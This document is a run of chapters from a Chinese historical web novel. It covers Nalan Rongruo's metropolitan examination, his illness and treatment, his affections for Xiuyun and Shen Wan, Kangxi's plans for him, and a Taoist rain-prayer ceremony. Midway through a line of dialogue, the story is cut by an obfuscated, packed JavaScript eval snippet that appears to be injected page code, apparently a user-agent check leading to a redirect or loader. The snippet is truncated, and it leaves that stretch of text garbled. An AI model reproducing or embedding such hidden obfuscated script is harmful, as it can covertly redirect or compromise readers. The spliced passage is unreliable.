若说“皇后断发”是该废该死的大错行,那么“朝臣断珠”则是臣子该杀该诛的特大罪。 康熙皇帝不由得浑身一抖—— 朕和纳兰,会发展到那一步吗? “皇上。”徐乾学小声叫了一句,提醒道,“切勿在众举人们面前失了威仪。” “朕知道了。”康熙皇帝自然是不会提及自己颤身的原因。 只是,出于对纳兰惜爱与保护,康熙皇帝开始慎重地琢磨起一个问题来: 该不该让纳兰容若入翰林? * 纳兰提前交了卷,在还剩下半柱香的时间里,消失在了康熙皇帝面前。 康熙皇帝因为说过要“从始至终地观考”,所以并不能“君言有戏”地离场去追问自己的陪臣。 “去把纳兰容若的考卷拿过来,朕要亲自批阅。” 康熙皇帝才要说出这句话,就忽然意识到了不妥。 纳兰的考卷,按照考试制度和规矩,应该经过:专人誊写、封存姓名、装订成册这三道程序和交由征夫考官判阅之后,位列前十,才能呈到皇帝手里。 徐乾学道:“皇上,爱徒容若才思敏捷,先成文章和先交答卷也是有的。臣以为,您不必为他担虑。” “由得他去。”康熙皇帝装出气愤的态度,“但凡他眼里有朕这个皇上,也不敢提前走人!” 反观索额图的次子格尔芬,却仍旧是一丝不苟地在答题。 在阿玛的威逼下,格尔芬虽然表面上浪荡反抗、羞辱门楣,暗地里却是真的一心向学、孜孜不倦。 格尔芬以纳兰容若为榜样,私下常去“花鸟风月楼”的雅室内向他讨教学问。纳兰留给格尔芬的印象是: 公子文质彬彬,言语温温然,态度亲和,不可多得。 礼官宣布考试结束的那一刻,康熙皇帝站了起来。 众举人侯在座位上,等待巡考小吏回收试卷。 ——朕的心中空落落的。 ——众举人过后可以把酒言欢来放纵自己,可是朕,回到深宫以后,又将会重复日复一日的单调生活。 康熙皇帝低头看向自己身上的黄袍。 要是自己此刻不是皇上,而是“满清第一贵胄”三爷,是不是就可以去“花鸟风月楼”找纳兰,包下整个场子,只留一番属于两人之间的闲话风月? * 纳兰并非像康熙皇帝想的那般去了“花鸟风月楼”,而是直接回了家。 今日是他的贴身侍女颜袖云的生日。 他为她定制了一支亲自设计图样的珠钗,现在就去往纳兰家名下的细工铺子里取;为她准备了一首词,打算当面写下来赠她。 这以后,考场那边的格尔芬一身赤胆,竟然直接拦了康熙皇帝圣驾,大声道: “皇上,奴才阿玛想叫奴才进宫去当二等侍卫,奴才不怕父子反目,一切听从皇上的意思!” 康熙皇帝忽然大喜,拍着格尔芬的肩膀道:“朕想到办法啦!” 也不怪那索二公子没规矩,便大步而去。 格尔芬呆然地站在原地,他哪里知道: 康熙皇帝的意思和注意力完全不在于在他,而收到了他的启发,得出了一个留住纳兰性德的好方法。 ——让纳兰成为朕的侍卫不就好了? ——他的形象气质赏心悦目,让他挂一个侍卫的虚职,不必让他吃站岗和跑腿的苦,只需让他继续当个实质意义上的陪臣:呆在养心殿里看书写字、拈花菩提、论策山河,或是随驾出游、出征、出猎、出巡……就好,如此朕就能跟他形影不离。 * 容若踏入家门,穿过渌水亭,往自己的房间走去。 入内,容若见到了为悦己者容的袖云。 “公子回来了。” “今日我提早交卷,回来的早。袖云,我有礼物要送你。” 容若带着喜悦,拿出首饰盒子,在袖云面前打开,里面是一只精雕细琢的粉瓣菡萏珠钗。银柄香片黄蕊,绿萼细珠金线,那么美那么生动,那么真那么深挚。 袖云对公子的礼赠珍惜备至,爱不释手。 “到妆镜前,我帮你戴上。”容若引她往前走,“芙蓉随风多摇曳,长亭渌水压微波。还看佳人娇媚好,碧姿鸳影粉面托。” “公子还跟寻常一样,把荷花称作芙蓉。” “我喜欢水,更喜欢清水出芙蓉。有时候我倒是怕,怕自己太痴太嗔,离芙蓉太近,连自身掉落进了池中都不觉得。” “公子近水的时候,袖云会在不远处守着公子。” 妆镜之中,映出了袖云的美丽容颜。 容若觉得,任何的溢美之言都不算是真正的打动人心,莫不如是:彼此间的相视与近处(chu,相近相处),才能动人与传真(传递真心实意)。 袖云亦是感动,原本照着她的身份,虽是明府的大丫鬟,但也没法光明正大地过生日,好在是公子年年记得,别出心裁,赠礼不重样,都是寓意丰富、能够送进她心坎里去的东西。 菡萏,别名清荷、莲花。 寓意:主仆之间“和”谐与共,好运“连连”。 ——公子通佛法、广种福田、修得菩提,荷花更是“智慧圆满”的象征。 ——公子希望给我一个美满的人生、安好一世。 袖云用手一扶珠钗,通透了容若的本意。 容若站着,在书桌前写下了一首词。 《逐莺曲·人间更多情合》 云羽瑶台,琼浆谁饮?人间更多情合。清风过,裙摆摇,画扇无故不需折。笑辨镜侧香盒。 春心莫笑流云乱,珠钗还牵相思刻。落花去,燕归来,悦容双脸生,心对测。细数生来时光,留住香尘、远去香尘,情命无定数,笔下丘壑。 袖云惜公子的词如珍宝。 点滴词意,无需所言,她已全解: 她是被公子珍惜的,正如她珍惜公子一样;公子的温情和坚韧是被她一直看在眼里和明在心里的,“悦容”与“丘壑”,柔与刚,对比鲜明,这正是公子的双重性格,公子是个温润起来很温柔、固执起来很固执的人。 但公子是个君子,他的固执不是任性,而是一直没有变过的铮铮傲骨。 “袖云,你丽质端慧,许多年,过去、现在与将来,感谢你一直陪着我。生日要吃面和数星,今夜我跟你一起到渌水亭去吃夜点和观星图,盼你平安顺遂、所求得愿。” “岁岁今日,最是难忘。袖云心中温存的生辰欢悦,是公子给的。” 容若笑着,眼前人和镜中颜,他都觉得甚好。 转眸心尖处,几多跃居于主仆之上的情份,哪是别人看得清的? * 会试后,等待放榜的这一个月时间里,容若做了三件事:跟格尔芬去出游,跟沈宛去放风筝,还跟张纯修一起登了长城。 容若发现,自己编书和对花的场景多了,内心就会反过来:很享受那种策马奔驰、不拘束于天地的感觉。 格尔芬说人生苦短,要是“及时行乐”这四个字是错的,那反过来“抽空放纵”是不是对的?他又取笑了明珠和索额图一番,不耻两位父辈之人的勾心斗角和各谋权势。 容若随着马匹飞快的速度向前奔腾,飒爽英姿。 “其实空闲时间任何时候都有,只是在‘不从父命、不从君命,就是不孝不忠’的教条之下,我们都变得不得空了而已。我虽喜欢平静的日子,但也不想过于安稳,尤其是那种——困在华丽府邸不得出、锁在君侧不得离的实况,在往后都难料是否会发展成:以死明志。” 格尔芬跟容若相伴而驰,征尘草原之间,同得辽阔视野。 “纳兰兄,以死明志说说就成,不要真的去做。你要是真的陷入了两难境地,不妨让我来给你出一招:你只需记着,自己再怎么夹在明珠和康熙皇帝之间受难都好,又没有跟大清为敌,总会有舒解心结的一天。” “心态上可以如此,”容若问他,“那行动和大局上呢?” “用得着我的地方,纳兰兄尽管开口。”格尔芬仗义道,“说到底,你我的阿玛和康熙皇帝,都不算是善茬。” “谢谢你。”容若从格尔芬身上获得了一种信任感,“宫里的环境和人心,从六岁起到现在,我见识了整整十三年。也许别人觉得我不染不谙,但是我却深知自己透彻。日后你真像你阿玛索额图安排的那样,成了二等侍卫,我力所能及之处、愿意为你打点和铺就。” “纳兰兄不必觉得:一方相帮,自己不回报就是有所欠。我真心实意为你,你接下我的义气就好。你在宫中是最难的,因为你是康熙皇帝的陪臣,我都知道。” “不说这些了。”容若 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“你多往外走不就好了?”张纯修慷慨问,“你要是怕‘染尘’或‘玉碎’,那就由我带着,我这人人面广、胆子大,没有应付不来的事情。” “好。”容若期待,“最近有什么人人向往的集会场子吗?” “还真有!”张纯修兴奋道,“有个仙风道骨的活神仙叫做:施道渊【注1】,朝廷体恤百姓在战争之后重新耕作的不易,就是派了人将施道人请到了京师,在郊外空地为他设高台和备法器,让当着众百姓的面求雨。要是天公真呼应了他,朝廷就要重重的赏他。” “你还收到了这情报?” “是啊,这情报算是最新鲜的了。” “我会去,跟张兄你一起混进人群里去瞧瞧:施道人是否道行高深、能为大清呼风唤雨。” 张纯修忽然失笑,问:“容若,万一那施道人求风求雨未成,得罪了朝廷,你是不是在康熙皇帝面前给他求个情?” 容若亦是回以一笑,道:“都是一个‘求’字,我求天子可比他求天公要容易多了。” * 会试放榜的五日前、殿试开试的十日前。 沈宛如约前去“饮水词歌·素菜馆”的“一双人”雅室相见容若。 回想起跟容若一起放风筝的场景,沈宛依旧会快乐地笑起来。 放风筝的时候,人总是倒退着走的,她就时不时地回头看后路,生怕乐在其中的容若碰石或是踩坑摔倒。 可是容若却像是有意给她关心他的机会一样,全然不顾危险,只是专心致志又天真烂漫地看天上的“双飞燕”纸鸢。 二人跑累了的时候,就将风筝一块儿收了线,坐在一处磐石上歇脚。 “商隐在《燕台四首》的秋诗里面写了这么一句:云屏不动掩孤嚬,西楼一夜风筝急。“容若称赞道,”他才是最懂女子的心情的人。“ “当时我读的时候,读不懂为什么商隐要把‘城楼外的马蹄声’称为‘风筝’?”沈宛摇头,晃了晃手中的绕线盘,“只当是思念情人的女子断了心弦,心弦似筝线,将外头的骑马人当作是自己的夫君了。” “商隐的诗本就晦涩难懂,其实我也至今不解。”容若看着湛蓝的天空,心犹在云端,“听了宛卿的话,倒是有了几分共鸣,果然商隐的情诗还是更适合女子去读、女子去解。” “还有一种可能,就是——”沈宛将容若的视线拉回到风筝的绕线盘上,“风筝放线时的声音跟马蹄声类似,所以商隐才做了这样的比喻。” “啊……”容若恍然一悟,“你不说,我还真的没有留意到线匝间的声音。你看我,光顾着往上看了,忽略了手中之物。” “我师傅——” 沈宛刚说到一半,就赶紧对原本想说的那句“在《天工开物》当中写到”做了改变,免得被容若发现“宋应星”的身份。 她道:“我师傅跟我说,原本风筝绕线盘是没有声音的,商贾们为了销量好,就做出有各种声响的轴盘来:吸引小孩子和取悦有情人。” “有情人?”容若重复了一遍,然后高兴道,“原来风筝传情的说法,你师傅也是认可的呀!” “我师傅一生未娶,说什么要为家国殉道。”沈宛多少显得无奈,“但他活的倒是不错,常有朋友往来,谈笑风生,居隐山林而知天下事。” “你师傅跟张岱先生比如何?” “一个自恃的忧国忧民之人,和一个心性盎然未泯的老顽童罢了。”沈宛如此评价宋应星和张岱,“恰好是得了天赐的交集,才会成为棋友、酒友、挚友。” 往回走的路上,容若把风筝翻了个面,目光落在留白处。 “早知道,携带纸鸢来的时候,我就该在筝纸上先题写一首词。” 沈宛笑问:“那要是纸鸢线断,飞到它处被人捡走了,公子的心意岂非不见?” “不,我的心意无论何时何地,都给你留着。”容若诚挚道,“五日后的上午巳时,你到‘饮水词歌·素菜馆’来,我在‘一双人’雅室等你。” “好,我会如约。” 而今,身在素菜馆中,即将得见芳心所许之人,如何能不欢颜? 沈宛理了理衣裙,推开雅室的门,正要叫公子的名字给他一个惊喜,却被眼前所见吓了一跳: 容若昏死在地面上,身旁翻倒了一只小小的带着密封木塞的、装着西药的透明琉璃瓶。 沈宛自然是不认识“洋方”、也不清楚自己刚刚捡起来的拿在手中的“洋方”,是否就是对容若的病症有用的药。 一时之间,她慌了神,竟然不知道该如何拿主意好…… 【注1】 施道渊:此人是真实存在的,不是架空。 其与顺治皇帝次子(即康熙皇帝异母兄)——裕亲王福全是好友,曾共谋大事,遭康熙皇帝猜忌。施道渊在康熙朝求雨得成,功劳显赫,为百姓所称颂。 纳兰性德在施道渊离京时,写送别词相赠。 91.第91章 雅室内靠窗的长榻上。 容若终于在沈宛连续的轻声呼唤下恢复了意识,他睁开了眼睛,吃力地挪动左手揉了揉额头的右侧。 才被沈宛扶着坐起,容若忽然半身朝外一倾,目眩胸闷,想吐而未吐出一物。 “容若。”沈宛叫了声公子的名字。 “以前还好,寒疾和三月病先后来,现在却是撞一块了。我的状况我自己清楚,犯病之初,就是头疼先发,至今还是疼痛的很,你看见我的西药了吗?” “嗯。”沈宛把小琉璃瓶从身上拿出,“公子是含服融化?还是温水送服?” “劳你去外头拿温水。” “好。我马上回来。” 独自一人呆在室内的时候,容若看着外头的春景,伤感起来。 这病来的不是时候,约摸是场大病。 接下来还有好多事情要做:放榜之后明府连续几日的庆贺场子、参加殿试、获得应有的官职之后的各种准备…… “我不能倒,不能。” 越是这般暗示自己,身体却越是不听使唤,头疼欲裂,双目沉重却欲泪,呼吸越来越轻缓和微弱,喉咙里已经发不出一点声音了。 这十九年来的苦读,难道就要这般错失下一场殿试于一旦吗? 明明在来的路上,自己还是对会试的放榜和殿试的对答充满期待,想跟沈宛说自己的抱负和将来的人生规划,现实却是这般钻心剜骨,由不得自己逞强。 ——我如果因病不能参加殿试。 阿玛会怎么想?依旧疼惜我,还是觉得我让纳兰家错失了一场大机遇、进而不满于我?责备于我? 皇上会怎么想?依旧为我保留三年后的殿试机会,还是视我为怯懦之人、嘲笑我在关键时刻掉链子? 无论是哪一种,错都在我。 对不起,对不起…… 容若在迷离的意识中吞服了三片西药,头痛症状没有向之前一样得到缓解。 他颤了颤嘴唇,说不出话,只好合眼,以此来告诉沈宛: “我想睡一会儿,这副身子骨……我好恨,真的好恨……” 沈宛扶容若重新躺下,为他盖上了薄被。 她轻触他的额头,掌心袭来了一阵烫热感。 掩门,沈宛在外头对素菜馆的总管事道: “刘管事,我不瞒你,我瞧着纳兰公子的身子不大好,怕是要大病一场。我拿着我的耳环作为信物,去请‘佗雀药馆’的郎中华世安到这儿来。记着不要声张,见到华先生,就说是宛姑娘病了,切勿提及公子名字。” “是,我记下了。” “还有,你安排一个可靠的人去明府回话,说公子集客素馆,会晚点回去。” “要是明珠大人派人来查……” “真发生了那种情况再说。” “好,我这就吩咐下去。” * 沈宛苦苦等待了半柱香的时间,名医华世安才带着一个小童子一并前来。 “沈宛请华先生礼。” 见沈宛无恙而是长榻上的美玉公子大恙,华世安道: “宛姑娘,你这般戏弄老朽可使不得。老朽是看在你师傅宋公的份上,担忧于你才匆匆而来,你却是私会男子于此,叫老朽来为你的情郎治病,日后宋公若是问起,老朽该如何交待?” 沈宛扶起无意识的容若,道:“华先生,你应知道,他就是这家素馆的主人,名满天下的纳兰容若。他忽发大病至此,我不能见死不救。” “老朽如何不识得?纳兰容若才貌兼备,所写词歌字字珠玑,所怀武功可征沙场,而且他心怀慈悲,礼贤下士,当真是举世无双的佳公子。” 华世安来到容若榻前,叹息道:“只是人无完人,天星下凡,终究不能为尘世所留。纳兰公子负担太重、又竭力保持完美,如何能够无病息灾?” “请华先生救救公子。” 沈宛忽然跪地,诚挚相求。 华世安一边给容若把脉、一边对沈宛语重心长道: “御婵,纳兰公子生于官宦人家,人生之路没有过多选择。在庙堂之中,他满腹才情终将为天子所忌所束;在庙堂之外,他重情重义终将走不出凡尘困局。” “他的病能不能好,不是看他的造化,不是看老朽的医术,而是看老天爷肯给他这一世多少时间啊!” 沈宛的眼泪无声而下。 华世安作为跟宋应星一样的前明人士,思想上较为古板和保守,当他看到榻侧桌面上那个写着洋文的药罐子时,不禁扼腕而气。 “他怎么能吃洋人的方子?他是自己不要命、不想活了吗?” “华先生,您不能这么说。”沈宛把小药瓶收了起来,“公子用药有公子的道理,您不能因为自己擅长汉医,就将西医之道视为夷术。” “老朽没法治他!”华世安态度激变,“只管叫他去信皇宫里的西医去。” “华先生,医以仁德济天下。”沈宛求情道,“纳兰公子要不是走投无路,岂会将自己的病痛托付给西医?当中的心酸和苦楚,您会不明白吗?” 华世安这才如梦惊醒,道:“是老朽糊涂啊!一味相恨相怨于夷术,而未觉纳兰公子的无奈。” 接下来,华世安就叫了小童子过来,叫小童子记录下他所口述的病人症状和要抓药方,先一步遣了他回“佗雀医馆”去抓药。 小童子见到方子有一味偏方,便问:“师傅,‘梭荥子’药性强韧,可是真的使得?” 画师安道:“若想叫纳兰公子苏醒且暂缓头痛,非用此偏方不可,至少可保他在放榜之日可行至明府门口接榜谢恩。” “可是……”小童子仍旧不安,“弟子怕——” “为师我行医多年,知道分寸,不会叫公子的病雪上加霜。” “是。”小童子这才离雅室而去。 “御婵,你需知道,老朽的方子只能缓解纳兰公子一时的病痛,救不了他一年半载、更救不了他一生啊!” “那公子的殿试……可还来得及?” “一切皆是天意注定,你我不可多加预测。” * 容若醒来,身边只有沈宛。 看向天外,夜色浓浓,唯有几朵云彩穿梭在明月中。 沈宛端上来一碗一直在小炭炉上面温着的小米粥,道:“公子放心,我已经叫刘管事去明府传话,说你在此处会雅客,会入夜才归家。” 容若谢过她,然后问她:“郎中怎么说?” “我为公子青睐了有‘再世华佗’和‘妙手扁鹊’之称的华世安华先生,他说公子的病非凡间凡人之病,需由老天爷来定生死。” 容若淡笑:“华先生说的一点没错,所以我不必怨命、也不必求谁,现世之中,熬过病期就好。” 沈宛搅动着小米粥,好让小米粥的温感正好。 “公子对自己能否赴约殿试一事,担心吗?” “说实话,我不敢想。”容若从她手中接过粥碗,“不然得到一个无法释怀的结果,我该向谁说?” “皇上一向重视公子,会不会单独到明府去问试于公子?” “别说大清,历史长河之中,哪朝哪代的举人有过这样的恩典?即使皇上有心,太皇太后碍于礼法也不会同意。” “可是这次殿试要是去不成,就要等上三年,三年可不短啊!” “三年时间,用作编书著说、结交贤士、踏访山水……便是不够用,我不会虚度。” “我会陪着公子,一直都会。” “待会儿我要宛卿你陪我一起走回家的路。” “好,我跟往时一样,陪公子走到距离明府三棵树的位置,再惜别。” 是夜。 容若回到家中、入自己的房间躺下后,叫了袖云来陪着说说话。 “今日我在素菜馆头痛昏阙、吃了有名神医华世安的药才恢复神智。头痛虽有所减轻,心中的积闷感却迟迟不散,还有这身子亦是内冷外热,交替的难受。袖云你说,宾客来贺之日,我该不该饮酒?” “不该。”袖云应的明确,“公子以茶代酒就好。” “酒方助兴,饮茶见静。”容若明了,“难得明府热闹非凡,我不饮酒说不过去。何况阿玛已经叫人去准备了顶级佳酿,我也不好扫阿玛的心意。” “要不就让袖云去跟老爷说吧?袖云会仔细措辞,不会叫老爷‘兴尽而不知道公子苦’的。” “好,明日你去说。” “是。” “我现在状态过得去,全靠华先生的药撑着。”容若指向床头柜上的药方子,“以后要是错失殿试,一想到阿玛失望的目光,心里就发慌……” “这不是公子的错,只是老天爷想要公子有所历练,才这般对公子不公。不管后续公子的情况如何,袖云都会好好照顾、相守在侧的。” “是啊,天有不公。”容若的眸子里流露出悲伤,“为了斗争寒疾,我什么方法都试过了,结果非但没有见好,反而是年年益进,这般适得其反,就跟是我触犯了什么天条、遭了报应一般。” 袖云宽慰道:“公子如此,也许是在为天下的苦命人受过,等到功德圆满,自会否极泰来。” 容若自己看得开:“人生本就是苦行,有人修得福报,有人修得恶果,我纳兰容若修得菩提。所以:苦海行舟,无涯也有涯;彼岸不寻,可至亦不至。心释然矣。” 等到公子完全睡下,袖云熄灭了除床侧灯之外的明烛。 她回到公子身边,铺了个软蒲团席地坐下,就这般不舍得合眼地陪伴在侧。 * 会试的结果发表前日,康熙皇帝叫了明党的高士奇和索党的李光地一并去贡院跟进阅卷情况。 主考官蔡启僔和徐乾学当着高李二人的面,拆开了考卷的封条。 高李二人只见:明珠大人的长公子纳兰容若排在第一位,索额图大人的二公子格尔芬排在第三十五位。 蔡启僔道:“本官与徐大人是公平公正地判阅,纳兰公子之成绩,实至名归。其他考生的排名,也是经由诸位大人慎重考虑之后得出的结论。” 李光地笑了笑,“蔡大人,这卷子是专人誊写后再外加密封姓名来判阅的,自然是认不出哪位考生的字迹,只是这才气和风格,一旦定型,就能叫人一读知谁。” 蔡启僔正色道:“李大人你要是对这次的结果存疑,可以将考卷交由皇上亲判。” “皇上的心思本官还能不知道吗?”李光地单手扫过纳兰公子的文章,“蔡大人和徐大人顺了皇上的心思,加上这些日子以后废寝忘食的操劳,理应受到嘉奖才对。” 徐乾学道:“李大人你要是连皇上的眼光都信不过的话,大可以把我爱徒容若的卷子张贴到全国各地的学宫去,让天下的读书人去辨,辨我等有无错判、爱徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,是,小吏一定照公子的意思回话。”报喜官忽然觉得肩膀被谁拍了一下,惊讶道,“……明珠大人客气。” “不必惶恐,只当是辛苦费和本官的心意就是。” 报喜官这才按照不成文的规矩,从明府管家的手中收下了一袋碎银子。 “本官也不多留你了,你且去向第二名的亚元和第三名的探元传递好消息吧!免得有些人,在各自家门口侯的腿都酸了。” “明珠大人说的哪里话?”报喜官赔笑道,“来明府道喜才是最要紧的,这也是万岁爷的意思。” “好,本官和容若都知道了。” “小吏告退。” * 次日,明府大摆宴席,宾客满堂。 容若抱病出席,却未在众人面前露出一丝病态。 期间,容若没饮一口酒,也没喝一口汤。 与其说是得到了明珠的允许:“顾着身子,不想喝的东西就不要喝、不想吃的东西就不要吃,把病早些养好是最重要的。” 不如说是:什么东西都喝不下、吃不下。 周旋于各桌席,容若的表现和话术都没让明珠失望。 自身金榜题名,容若的荣耀和实力也给明府添了光。 能忍且无错失,容若的坚韧和无挑让明珠十分欣慰。 当晚,容若跟袖云说自己恶寒不止,袖云照着公子的意思,瞒着明府上下、搬了小泥炉到房间内熬汤药。 两碗苦药饮罢,未及袖云把玉碗撤走,容若就把吞下去的苦药连带着饭食一并吐了出来。 袖云原以为公子只是害了寒疾的反胃呕吐,没想到公子又呕出了一滩鲜血在她的帕子上,鲜血明艳且带着温度,不吓人却惹人心似刀绞。 “袖云,我怕这样的感觉:冷自骨髓而生,冷自体内,并非外在的皮寒。五脏六腑就跟冻住了一般,无法感知心跳、无法消化食物、无法纳气吐息……” “那公子便是需要静养,明日施道渊的求雨仪式,就别去凑热闹了吧?” “不,我要去,张纯修会来明府跟我汇合,然后我们一起坐车去城郊。辜负了朋友不好,没准我这病沾了施道人的道行仙气,就大好了。” “公子执意要去的话,就该把自己的病情对张生如实相告,有劳他照顾着才是。袖云实在是担心……怕公子中途倒下,老爷和夫人那边也不知道该如何交待。” “我有预感,明日那一趟我不会倒。或许回家之后才会困着一些,躺个三天应该能恢复个七八成,可去殿试。” “那袖云就全心全意为公子祈福,希望公子一切如愿。” “好。” 容若拖着一副虚躯,离床到了窗侧的长榻上,趴在窗台上看月亮。 有清晖满身,有冷光相似,月与人,应是两相和。 有词歌在心,有小感在胸,词与悟,应是两相随。 后来容若就这么伴着月亮睡着了。 袖云把他抱躺下长榻时,他没有知觉。 只是天还未亮,张纯修来找的时候,容若又自然醒了过来。 容若带着“回光返照”般的盎然兴致,和袖云提前准备好的两把油纸伞,与好友一起欣然而往郊外的求雨道场。 92.第92章 路上,张纯修听了容若的身体状况,一面深切问候、一面又深深感动于容若对友情的重承诺。 张纯修把听到的消息告知容若:“施道人亲顺治帝的第二子福全,所以这次朝廷招他求雨,既有恩泽万民雨露之意,又有康熙皇帝对福全的警告之隐。” 容若道:“玄烨当久了皇上,对待人性自然是有自己想法,他放心不下福全,一来是怕自己的皇位不稳固,二来也是担心怪力乱神之说。” “那咱们今日就只当看客,不去琢磨皇上兄弟之间的厉害关系。” “是不是要挤到人群的最前面去,才看得清?” “这倒不必,施道人坐在所设的高台之上,咱们只要抬头就能看见。” “嗯,省去了在人群中穿梭的功夫,挺好。” 俩人来到目的地,只见老白们聚集的更早,照亮天际的几个铁盆装着的篝火还未熄灭,就已经是人山人海了。 容若朝高台那边远眺,竟然看见了疑似“遵循圣旨”而来的:曹寅、图海将军和谋士周培公三人的身影。 而盘腿坐在一根擎天柱顶端的,便是施道渊施道人了。 映着微微亮的天色,容若看不清施道人的具体模样和神情,只见大致轮廓: 他戴着的逍遥巾双带飞扬,跟下颚的长须一致方向;他坐姿如道观内的天尊像一般,叫人肃然起敬;他左手执拂尘长柄,将尘扫搭在右手的臂弯之间,当真是有天尊之范。 说来也怪,天亮之后,竟然不见冉冉升起的金乌绽放光芒。 容若看着半隐云中的金乌疑道:“张兄,这是怎么回事?难不成是雨神如苏和风神飞廉天上有知,双双前来相助?” 张纯修想了想,道:“可是施道人还没有开始画符、念咒、作法……怎能够将自己的意念传递给雨神和风神?照我看,就是日子挑对了而已,今日本就是起风落雨之日。” 容若这下子看清了施道人的模样:约莫四十岁上下,黑发褐髯,道袍云履,神色泰然,只等施展法术之机。 此外,在施道人坐着的道台之上,还放有数件法器,包括:杨枝、玉瓶、金铃、长剑、道符、律令牌、念珠、水盂、八卦镜、法旗。 容若只晓得,满人崇尚萨满文化,汉人则以道教为清修之选。今日自己对道教的装束和法器开了眼界,未尝不是值得。 * 图海将军对着台下高喝一声:“肃静”以后,老百姓们就自动自觉地安分了下来。 容若和张纯修一起站在人群的不显眼处,听曹寅宣读康熙皇帝的《自告天公乞雨文》。 可是越往下听,容若就觉得内容越熟悉,一些词句……不正是自己的骈文《雨霁赋》【注1】里面的吗?康熙皇帝还非要将《雨霁赋》赐名为《雨过天晴赋》来着,真是别有用心。 “观朕平生之功绩、闻天下苍生之消息,任天运以卷舒。知显晦之维命,而又何所用其健羡与?“ 容若对此一苦笑,默默把康熙皇帝仿写的“大作”从头到尾听了个遍。 “吾皇万岁万岁万万岁!” 众百姓跪地向康熙皇帝的爱民之心表示敬仰和谢恩。 周培公按照汉人礼仪,一敬天帝天后,二敬风神雨神,三敬苍天大地,才将康熙的《自告天公乞雨文》从曹寅手中接过,毕恭毕敬地摆放到了祭坛前面。 只在这一瞬间,容若就觉得风劲似乎猛烈了一些,不禁打了个寒颤。 张纯修问了声:“要不要紧?” 得到的回应是:“我没事,大抵是我的骈文里的几句话打动了天上的神仙,天气才转变的快。” 张纯修惊问:“你的意思是,皇上借鉴和套用了你的作品来求雨?” 容若点头,“不是全篇,只是其中的几句话。” 这一说明之后,他就不再多言。 周培公大声道:“皇恩浩荡,惠及万民。今承蒙天子恩心善典,设台城郊,邀施道渊道人于此,共向天公祈雨露。有众百姓为证,有八方诸神为镇,定能如愿得偿。” 图海将军走出坛中围栏,来到众围观百姓的正前方,仰头对施道渊威严道:“有请施道人施法求雨——” 大家只听见了一阵从施道渊口中念出的天音,未解其意,却听见了几声轻雷之轰鸣,就跟是雷神也有所响应一般。 随后施道人用杨枝沾水,纷洒于高台的下方,有百姓伸手接尝,直道是:“甘甜清冽。” 施道人左手拿起数张黄底红字的道符,右手并拢双指,或绕圈或点触,或隔空相对或夹符翻弄,皆是动作流畅,无半点卖弄之嫌。待到向道符述毕请毕,施道人就拿起了律令牌,虔诚对天祷告:诉说大清江山之现状、天子之文治武功、百姓之勤劳不殆……有两道金光从天际破云而出,正好落在律令牌的正反面上,施道人将律令牌高举,让众生与他一同拜天! 众百姓大惊,容若和张纯修也一同按照施道人的指示,一一有所动作,对老爷进行了三拜大礼。 等到抬头再往高台上看之时,有百姓惊呼:“仙家的律令牌……从桃木色变成纯金色了!” 一声未落,另一声又起:“这是神仙才有的本事啊,施道人竟然将律令牌稳稳立在了坐台上,不借助木插格子等一物!” 神乎其神之中,施道渊拿起了那把道家专用的七星宝剑,未动盘坐之身,只是用单臂挥舞几下之后,就将七星宝剑直指呼风唤雨的“天位”东南处,大声喊道: “弟子参见列为天尊、祖师、老君,还请众位仙家加持,爱我苍生、佑我大清,顺遂天子所愿!” 众百姓只当是:那施道人跟天上的神仙有了神会,才能说出那番话来。 下一瞬间,竟然有两句真神仙的清音从“天位”的东南处传来: “风神飞廉/雨神如苏在此,前来成全众生诸愿!” 苍穹变色,光影相错。电光骤闪,雷声阵阵。 地尘滚滚,草木摇摇。风起雨落,惊声一片。 施道渊的这回求雨之举,大获成功! 领了皇命的御前侍卫曹寅、图海将军和谋士周培公,三人皆是大喜。 众百姓在雨中欢呼,容若和张纯修撑伞站在原地,好似从头到尾都未弄清楚是怎么回事。 “张兄,你人面广路子多,看看有无法子把施道人请到济国寺去,你我和妙觉禅师一同会会此人。” “好,我尽力。容若你先一步去往济国寺等候。” * 索额图府中。 一片淅淅沥沥的雨声,像是伴奏似的,萦绕在一同用午膳的赫舍里一家的饭厅内。 “这次参加会试的考生一共一百三十二人,本官只当你能够排位在半数,那就已经是列祖列宗保佑了,哪想你竟然超常发挥得了第三十五名,真不晓得是阅卷官给本官面子,还是你真的学到了东西。” “阿玛在疑什么?”格尔芬问,“儿子的字和文风谁都不认得,如何能够蛊惑阅卷官?儿不过是押对了题目而已。” “儿啊,你怎么又押题了?”这回连佟佳氏也不信了,“皇上的心思你也能猜?” “是啊额娘。”格尔芬有些得意,“吴三桂被皇上打回云南老家了,儿就读了和记了陆游和辛弃疾的诗词,像是‘王师北定中原日’和‘元嘉草草,封狼居胥’,没想到皇上的心思也在此,所以儿认认真真、无一空白地把卷子答完了。” “你……”索额图难以置信,“连皇帝命制的、故意刁难众考生的填空题也答完了?” “不错!儿喜欢那句:但须鸑鷟巢阿阁,岂假鸱鸮在泮林。【注2】” 佟佳氏震撼:“儿子,你连‘鸑鷟’二字也能写?” “用心记下,儿自然能写。李商隐这诗表述的是:圣上盼着贤臣辅佐、好早日解决藩镇割据之忧的意思。岂非跟康熙皇帝想要早日平三藩的志向一致?所以儿答上来了。” “只可惜你只得了第三十五名。”索额图装模作样地叹了一口气,“唉,你没有殿试的机会在情理之中。可是,本官怎么在心里咒骂‘纳兰性德也参加不了殿试’才好?” “阿玛,你的人品几时好过?”格尔芬冷问,“儿是不是该为纳兰兄庆幸,你仅仅是咒他而不是害他?” “罢了,纳兰性德怎么着都好,都是他的命。格尔芬,你怎么不问阿玛为你安排的差事进展的如何了?” “还能如何?皇上点头我就干,皇上不点头,阿玛你也没办法。” “这事皇上非点头不可!就算是看在赫舍里皇后的面子和管理后宫尽心的份上,皇上也不会不给你这个机会。” “知道了,儿向阿玛你学着些当侍卫的路子和套数就是。” “你倒是有这份心,知道本官担任吏部侍郎之前,就是康熙皇帝身边的一等侍卫。” “阿玛,儿向你学当侍卫的门路,不是为了亲近皇上,而是为了在宫中生存下去。” 索额图沉默不语。 在格尔芬的前途之外,自己给过他什么担保?为他做过什么后盾?自己何曾像明珠那样,对儿子百计并施、只为雕琢出全天下最好的美玉? 